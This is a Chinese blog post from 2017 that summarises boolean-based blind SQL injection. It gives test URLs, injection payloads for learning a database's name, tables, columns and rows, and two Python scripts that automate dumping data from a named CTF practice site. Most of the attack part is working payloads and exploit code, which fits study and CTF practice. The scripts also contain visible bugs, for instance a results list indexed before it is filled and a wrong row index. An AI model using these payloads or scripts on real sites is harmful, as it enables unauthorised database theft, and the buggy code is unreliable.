SQL盲注小结

SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注,所以有必要总结一下。
 
测试是否为布尔盲注:
http://localhost/index.php?id=2
http://localhost/index.php?id=2'
http://localhost/index.php?id=2''
http://localhost/index.php?id=2%23
http://localhost/index.php?id=2' and 1=1#
 
若为布尔盲注,则按照以下步骤进行:
一、得到数据库的长度
http://localhost/index.php?id=2' and length(database())>1%23
二、获取数据库名称
姿势:http://localhost/index.php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
python脚本自动获取:
import requests  
  
def getDBName(DBName_len):  
    DBName = ""  
     
    success_url = "http://ctf5.shiyanbar.com/web/index_3.php?id=2"  
    success_response_len = len(requests.get(success_url).text)  
     
    url_template = "http://ctf5.shiyanbar.com/web/index_3.php?id=2' and ascii(substr(database(),{0},1))={1}%23"  
    chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'  
     
    print("Start to retrieve database name...")  
    print("Success_response_len is: ", success_response_len)  
    for i in range( 1, DBName_len + 1):  
        print("Number of letter: " , i)  
        tempDBName = DBName  
        for char in chars:  
            print("Test letter " + char)  
            char_ascii = ord(char)  
            url = url_template.format(i, char_ascii)  
            response = requests.get(url)  
            if len(response.text) == success_response_len:  
                DBName += char  
                print("DBName is: " + DBName + "...")  
                break  
        if tempDBName == DBName:  
            print("Letters too little! Program ended." )  
            exit()  
    print("Retrieve completed! DBName is: " + DBName)  
     
getDBName(5)   

  

三、获取表长度
姿势:http://localhost/index.php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
四、获取表名
和第二步获得数据库名差不多,姿势稍微变了一下:
http://localhost/index.php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23
五、获取字段的个数和长度
姿势:http://localhost/index.php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
其中limit 0,1表示第一列,limit 1,1为第二列,依次类推。
六、获取字段名称
姿势:http://localhost/index.php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23
七、脱裤
1.首先判断有该表有多少条记录:
http://localhost/index.php?id=2' and (select count(*) from flag)>0%23
2.然后获取当前记录的长度:
http://localhost/index.php?id=2' and (select length(flag) from flag limit 0,1)>0%23
3.获取当前记录的值:
http://localhost/index.php?id=2' and ascii(substr((select flag from flag limit 0,1), {0}, 1))={1}%23

python脚本

import requests  
import binascii  
  
MAX_DBName_len = 100  
MAX_TableName_len = 100  
MAX_ColumnName_len = 100  
MAX_Data_len = 100  
MAX_Table_Num = 100  
MAX_Column_Num = 100  
MAX_Data_Num = 100  
  
success_url = "http://ctf5.shiyanbar.com/web/index_3.php?id=2"  
success_response_len = len(requests.get(success_url).text)  
chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz{}_!@#$%^&*()'  
  
def get_DBName_len():  
    print("Start to get DBName_len...")  
    DBName_len = 0  
    url_template = success_url + "' and (length(database()))>{0}%23"  
    for i in range(0, MAX_DBName_len):  
        url = url_template.format(i)  
        response = requests.get(url)  
        if len(response.text) != success_response_len:  
            DBName_len = i;  
            print("DBName_len is: ", DBName_len)  
            break;  
    if DBName_len == 0:  
        if i == MAX_DBName_len - 1:  
            print("DBName_len > MAX_DBName_len!")  
        print("Cannot get DB_len. Program ended.")  
        exit()  
    return DBName_len  
  
def get_DBName(DBName_len):  
    print("Start to retrieve database name...")  
    DBName = ""  
    url_template = success_url + "' and ascii(substr(database(),{0},1))={1}%23"     
    for i in range(1, DBName_len + 1):  
        print("Number of letter: ", i)  
        tempDBName = DBName  
        for char in chars:  
            print("Test letter " + char)  
            char_ascii = ord(char)  
            url = url_template.format(i, char_ascii)  
            response = requests.get(url)  
            if len(response.text) == success_response_len:  
                DBName += char  
                print("DBName is: " + DBName + "...")  
                break  
        if tempDBName == DBName:  
            print("Letters too little! Program ended.")  
            exit()  
    print("Retrieve completed! DBName is: " + DBName)  
    return DBName  
  
def get_TableName_len(Table_num):  
    print("Start to get TableName_len...")  
    TableName_len = 0  
    url_template = success_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)>{1}%23"  
    for i in range(0, MAX_TableName_len):  
        url = url_template.format(Table_num - 1, i)  
        response = requests.get(url)  
        if len(response.text) != success_response_len:  
            TableName_len = i  
#             print("TabelName_len is: ", TableName_len)  
            break  
    if TableName_len == 0:  
        if i == MAX_TableName_len - 1:  
            print("TableName_len > MAX_TableName_len!")  
#         print("Cannot get TableName_len. Program ended.")  
    return TableName_len  
  
def get_TableName(Table_num, TableName_len):  
    print("Start to get TableName...")  
    TableName = ""  
    url_template = success_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2}%23"     
    for i in range(1, TableName_len + 1):  
        print("Number of letter: ", i)  
        tempTableName = TableName  
        for char in chars:  
            print("Test letter " + char)  
            char_ascii = ord(char)  
            url = url_template.format(Table_num - 1, i, char_ascii)  
            response = requests.get(url)  
            if len(response.text) == success_response_len:  
                TableName += char  
                print("TableName is: " + TableName + "...")  
                break             
        if tempTableName == TableName:  
            print("Letters too little! Program ended.")  
            exit()  
    print("Retrieve completed! TableName is: " + TableName)  
    return TableName  
  
def choose_Table():  
    Tables = []  
    for Table_num in range(1, MAX_Table_Num):  
        TableName_len = get_TableName_len(Table_num)  
        if TableName_len == 0:  
            break  
        TableName = get_TableName(Table_num, TableName_len)  
        Tables.append(TableName)  
    for i in range(len(Tables)):  
        print(i, ": " + Tables[i - 1])  
    value = input('Please input number to choose which table you want to dump:')  
    Table_num_chosen = int(value)  
    print("You have chose table: " + Tables[Table_num_chosen - 1])  
    return Tables[Table_num_chosen - 1]  
  
def get_ColumnName_len(Column_num, TableName):  
    print("Start to get ColumnName_len...")  
    ColumnName_len = 0  
    url_template = success_url + "' and (select length(column_name) from information_schema.columns where table_name = {0} limit {1},1)>{2}%23"  
    for i in range(0, MAX_ColumnName_len):  
        url = url_template.format(str2hex(TableName), Column_num - 1, i)  
        response = requests.get(url)  
        if len(response.text) != success_response_len:  
            ColumnName_len = i  
            print("ColumnName_len is: ", ColumnName_len)  
            break  
    if ColumnName_len == 0:  
        if i == MAX_ColumnName_len - 1:  
            print("ColumnName_len > MAXName_Column_len!")  
    return ColumnName_len  
  
def get_ColumnName(Column_num, ColumnName_len, TableName):  
    print("Start to get ColumnName...")  
    ColumnName = ""  
    url_template = success_url + "' and ascii(substr((select column_name from information_schema.columns where table_name = {0} limit {1},1),{2},1))={3}%23"     
    for i in range(1, ColumnName_len + 1):  
        print("Number of letter: ", i)  
        tempColumnName = ColumnName  
        for char in chars:  
            print("Test letter " + char)  
            char_ascii = ord(char)  
            url = url_template.format(str2hex(TableName), Column_num - 1, i, char_ascii)  
            response = requests.get(url)  
            if len(response.text) == success_response_len:  
                ColumnName += char  
                print("ColumnName is: " + ColumnName + "...")  
                break             
        if tempColumnName == ColumnName:  
            print("Letters too little! Program ended.")  
            exit()  
    print("Retrieve completed! ColumnName is: " + ColumnName)  
    return ColumnName  
  
def get_Columns(TableName):  
    Columns = []  
    for Column_num in range(1, MAX_Column_Num):  
        ColumnName_len = get_ColumnName_len(Column_num, TableName)  
        if ColumnName_len == 0:  
            break  
        ColumnName = get_ColumnName(Column_num, ColumnName_len, TableName)  
        Columns.append(ColumnName)  
    for i in range(len(Columns)):  
        print(i, ": " + Columns[i - 1])  
    return Columns  
  
def get_Data_len(TableName, ColumnName, Data_num):  
    print("Start to get Data_len...")  
    Data_len = 0  
    url_template = success_url + "' and (select length({0}) from {1} limit {2},1)>{3}%23"  
    for i in range(0, MAX_Data_len):  
        url = url_template.format(ColumnName, TableName, Data_num - 1, i)  
        response = requests.get(url)  
        if len(response.text) != success_response_len:  
            Data_len = i  
            print("Data_len is: ", Data_len)  
            break  
    if Data_len == 0:  
        if i == MAX_Data_len - 1:  
            print("Data_len > MAX_Data_len!")  
    return Data_len  
  
def get_Data(TableName, ColumnName, Data_num, Data_len):  
    print("Start to get Data...")  
    Data = ""  
    url_template = success_url + "' and ascii(substr((select {0} from {1} limit {2},1),{3},1))={4}%23"     
    for i in range(1, Data_len + 1):  
        print("Number of letter: ", i)  
        tempData = Data  
        for char in chars:  
            print("Test letter " + char)  
            char_ascii = ord(char)  
            url = url_template.format(ColumnName, TableName, Data_num - 1, i, char_ascii)  
            response = requests.get(url)  
            if len(response.text) == success_response_len:  
                Data += char  
                print("Data is: " + Data + "...")  
                break             
        if tempData == Data:  
            print("Letters too little! Program ended.")  
            exit()  
    print("Retrieve completed! Data is: " + Data)  
    return Data  
  
def get_Data_num(TableName):  
    print("Start to get Data_num...")  
    Data_num = 0  
    url_template = success_url + "' and (select count(*) from {0})>{1}%23"  
    for i in range(0, MAX_Data_Num):  
        url = url_template.format(TableName, i)  
        response = requests.get(url)  
        if len(response.text) != success_response_len:  
            Data_num = i  
            print("Data_num is: ", Data_num)  
            break  
    if Data_num == 0:  
        if i == MAX_Data_Num - 1:  
            print("Data_num > MAX_Data_Num!")  
        print("Cannot get Data_len.")  
    return Data_num  
  
def str2hex(str):  
    result = "0x"  
    str_byte = str.encode()  
    result = result + binascii.b2a_hex(str_byte).decode()  
    return result  
  
DBName_len = get_DBName_len()  
DBName = get_DBName(DBName_len)  
  
TableName = choose_Table()  
Columns = get_Columns(TableName)  
Data_num = get_Data_num(TableName)  
  
Datas = []  
for i in range(len(Columns)):  
    ColumnName = Columns[i]  
    for j in range(Data_num):  
        Data_len = get_Data_len(TableName, ColumnName, Data_num)  
        Data = get_Data(TableName, ColumnName, Data_num, Data_len)  
        Datas[j] += "\t" + Data  
  
print("***************************")  
print("Database: " + DBName + "Table: " + TableName)  
print("***************************")  
print("\t")  
for i in range(len(Columns)):  
    print(Columns[i], end="\t")  
for i in range(Data_num):  
    print(Datas[i])  
print("Program successfully ended!")  
print("***************************")  
# #the first table  
# Table_num = 1  
# TableName_len = get_TableName_len(Table_num)  
# TableName = get_TableName(Table_num, TableName_len)  
#  
# #the first column  
# Column_num = 1  
# ColumnName_len = get_ColumnName_len(Column_num, TableName)  
# ColumnName = get_ColumnName(Column_num, ColumnName_len)  
#   
# #the first record  
# Data_num = 1  
# Data_len = get_Data_len(TableName, ColumnName, Data_num)  
# Data = get_Data(TableName, ColumnName, Data_num, Data_len)  
#  
# print("***************************")  
# print("Database: " + DBName)  
# print("Table: " + TableName)  
# print("Column: " + ColumnName)  
# print("Data: " + Data)  
# print("Program successfully ended!")  
# print("***************************")  

  

 

 

 

 

posted @ 2017-04-22 21:45  cn_36  阅读(466)  评论(0编辑  收藏  举报